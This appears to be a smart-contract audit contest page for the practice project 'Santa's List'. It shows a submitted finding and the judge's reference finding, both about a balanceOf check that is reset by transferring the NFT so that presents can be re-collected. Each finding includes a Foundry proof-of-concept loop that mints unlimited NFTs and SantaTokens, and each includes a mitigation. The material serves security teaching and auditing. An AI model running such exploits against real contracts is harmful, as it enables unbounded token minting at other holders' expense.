Santa's List
AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

collectPresent balance check is bypassable by transferring the NFT, allowing unlimited mints by EXTRA_NICE users

verdoolaegelouis

Description

  • collectPresent enforces single-claim semantics with if (balanceOf(msg.sender) > 0) revert SantasList__AlreadyCollected();. balanceOf here is the inherited ERC721 balance, which counts the NFTs currently owned by the address — not the number of NFTs the address has ever minted.

  • ERC721 tokens are freely transferable, so a user can call collectPresent, immediately transfer the minted NFT to a second wallet they control (or sell / approve it away), and call collectPresent again with balanceOf(msg.sender) == 0. The check passes and the NFT branch — and, for EXTRA_NICE users, the i_santaToken.mint(msg.sender) reward — re-executes. Repeating this loop mints an unbounded number of NFTs and an unbounded supply of SantaTokens to a single human attacker.

// src/SantasList.sol
function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) revert SantasList__NotChristmasYet();
@> if (balanceOf(msg.sender) > 0) revert SantasList__AlreadyCollected(); // resettable
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
_mintAndIncrement();
return;
} else if (
s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
) {
_mintAndIncrement();
@> i_santaToken.mint(msg.sender); // mints another 1e18 per loop iteration
return;
}
revert SantasList__NotNice();
}

Risk

Likelihood: Medium — requires the caller to be NICE or EXTRA_NICE (trivially true for every address thanks to F-01) and a second wallet to absorb the transferred NFT.

Impact: High — uncapped inflation of both the NFT supply and SantaToken supply. Each loop costs only the gas of one ERC721 transfer plus one collectPresent call. With F-01 also in play, the entire token economy can be drained / inflated by a single attacker.

Proof of Concept

Place this test in test/SantasListTest.t.sol and run with forge test --mt test_TransferAndRecollectMintsForever -vvv.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
​
import {Test} from "forge-std/Test.sol";
import {SantasList} from "../src/SantasList.sol";
import {SantaToken} from "../src/SantaToken.sol";
​
contract CollectPresentReplayTest is Test {
SantasList santasList;
SantaToken santaToken;
​
address santa = makeAddr("santa");
address attacker = makeAddr("attacker");
address sink = makeAddr("sink"); // attacker-controlled wallet receiving transfers
​
function setUp() public {
vm.prank(santa);
santasList = new SantasList();
santaToken = SantaToken(santasList.getSantaToken());
​
// Santa marks attacker as EXTRA_NICE (the most lucrative branch).
vm.startPrank(santa);
santasList.checkList(attacker, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(attacker, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
}
​
function test_TransferAndRecollectMintsForever() public {
uint256 LOOPS = 10;
for (uint256 i = 0; i < LOOPS; ++i) {
vm.prank(attacker);
santasList.collectPresent(); // mints NFT #i + 1e18 SANTA
​
// Reset balanceOf(attacker) to 0 by transferring the NFT to the sink wallet.
vm.prank(attacker);
santasList.transferFrom(attacker, sink, i);
}
​
// Attacker has accumulated LOOPS * 1e18 SantaTokens from a single approved status.
assertEq(santaToken.balanceOf(attacker), LOOPS * 1e18);
// sink holds every NFT the attacker minted.
assertEq(santasList.balanceOf(sink), LOOPS);
}
}

Expected output:

[PASS] test_TransferAndRecollectMintsForever() (gas: ~1.2M)

The loop bound is arbitrary; the same script works for thousands of iterations.

Recommended Mitigation

Track collection state with a dedicated boolean mapping that cannot be reset by transferring the NFT. Apply checks-effects-interactions ordering so the flag is set before any external interaction (also pre-empts the reentrancy variant of this bug):

+ mapping(address => bool) private s_hasCollected;
​
function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) revert SantasList__NotChristmasYet();
- if (balanceOf(msg.sender) > 0) revert SantasList__AlreadyCollected();
+ if (s_hasCollected[msg.sender]) revert SantasList__AlreadyCollected();
+ s_hasCollected[msg.sender] = true;
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
_mintAndIncrement();
return;
} else if (
s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
) {
_mintAndIncrement();
i_santaToken.mint(msg.sender);
return;
}
+ // unreachable for NICE/EXTRA_NICE paths; for everyone else, undo the flag set
revert SantasList__NotNice();
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] Any `NICE` or `EXTRA_NICE` user is able to call `collectPresent` function multiple times.

## Description `collectPresent` function is callable by any address, but the call will succeed only if the user is registered as `NICE` or `EXTRA_NICE` in SantasList contract. In order to prevent users to collect presents multiple times, the following check is implemented: ``` if (balanceOf(msg.sender) > 0) { revert SantasList__AlreadyCollected(); } ``` Nevertheless, there is an issue with this check. Users could send their newly minted NFTs to another wallet, allowing them to pass that check as `balanceOf(msg.sender)` will be `0` after transferring the NFT. ## Vulnerability Details Let's imagine a scenario where an `EXTRA_NICE` user wants to collect present when it is Christmas time. The user will call `collectPresent` function and will get 1 NFT and `1e18` SantaTokens. This user could now call `safetransferfrom` ERC-721 function in order to send the NFT to another wallet, while keeping SantaTokens on the same wallet (or send them as well, it doesn't matter). After that, it is possible to call `collectPresent` function again as ``balanceOf(msg.sender)` will be `0` again. ## Impact The impact of this vulnerability is HIGH as it allows any `NICE` user to mint as much NFTs as wanted, and it also allows any `EXTRA_NICE` user to mint as much NFTs and SantaTokens as desired. ## Proof of Concept The following tests shows that any `NICE` or `EXTRA_NICE` user is able to call `collectPresent` function again after transferring the newly minted NFT to another wallet. - In the case of `NICE` users, it will be possible to mint an infinity of NFTs, while transferring all of them in another wallet hold by the user. - In the case of `EXTRA_NICE` users, it will be possible to mint an infinity of NFTs and an infinity of SantaTokens. ``` function testExtraNiceCanCollectTwice() external { vm.startPrank(santa); // Santa checks twice the user as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // It is Christmas time! vm.warp(1_703_480_381); vm.startPrank(user); // User collects 1 NFT + 1e18 SantaToken santasList.collectPresent(); // User sends the minted NFT to another wallet santasList.safeTransferFrom(user, makeAddr("secondWallet"), 0); // User collect present again santasList.collectPresent(); vm.stopPrank(); // Users now owns 2e18 tokens, after calling 2 times collectPresent function successfully assertEq(santaToken.balanceOf(user), 2e18); } ``` ## Recommendations SantasList should implement in its storage a mapping to keep track of addresses which already collected present through `collectPresent` function. We could declare as a state variable : ``` mapping(address user => bool) private hasClaimed; ``` and then modify `collectPresent` function as follows: ``` function collectPresent() external { // use SantasList__AlreadyCollected custom error to save gas require(!hasClaimed[msg.sender], "user already collected present"); if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) { revert SantasList__NotChristmasYet(); } if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) { _mintAndIncrement(); hasClaimed[msg.sender] = true; return; } else if ( s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE && s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE ) { _mintAndIncrement(); i_santaToken.mint(msg.sender); hasClaimed[msg.sender] = true; return; } revert SantasList__NotNice(); } ``` We just added a check that `hasClaimed[msg.sender]` is `false` to execute the rest of the function, while removing the check on `balanceOf`. Once present is collected, either for `NICE` or `EXTRA_NICE` people, we update `hasClaimed[msg.sender]` to `true`. This will prevent user to call `collectPresent` function. If you run the previous test with this new implementation, it wail fail with the error `user already collected present`. Here is a new test that checks the new implementation works as desired: ``` function testCorrectCollectPresentImpl() external { vm.startPrank(santa); // Santa checks twice the user as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // It is Christmas time! vm.warp(1_703_480_381); vm.startPrank(user); // User collects 1 NFT + 1e18 SantaToken santasList.collectPresent(); // User sends the minted NFT to another wallet santasList.safeTransferFrom(user, makeAddr("secondWallet"), 0); vm.expectRevert("user already collected present"); santasList.collectPresent(); vm.stopPrank(); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!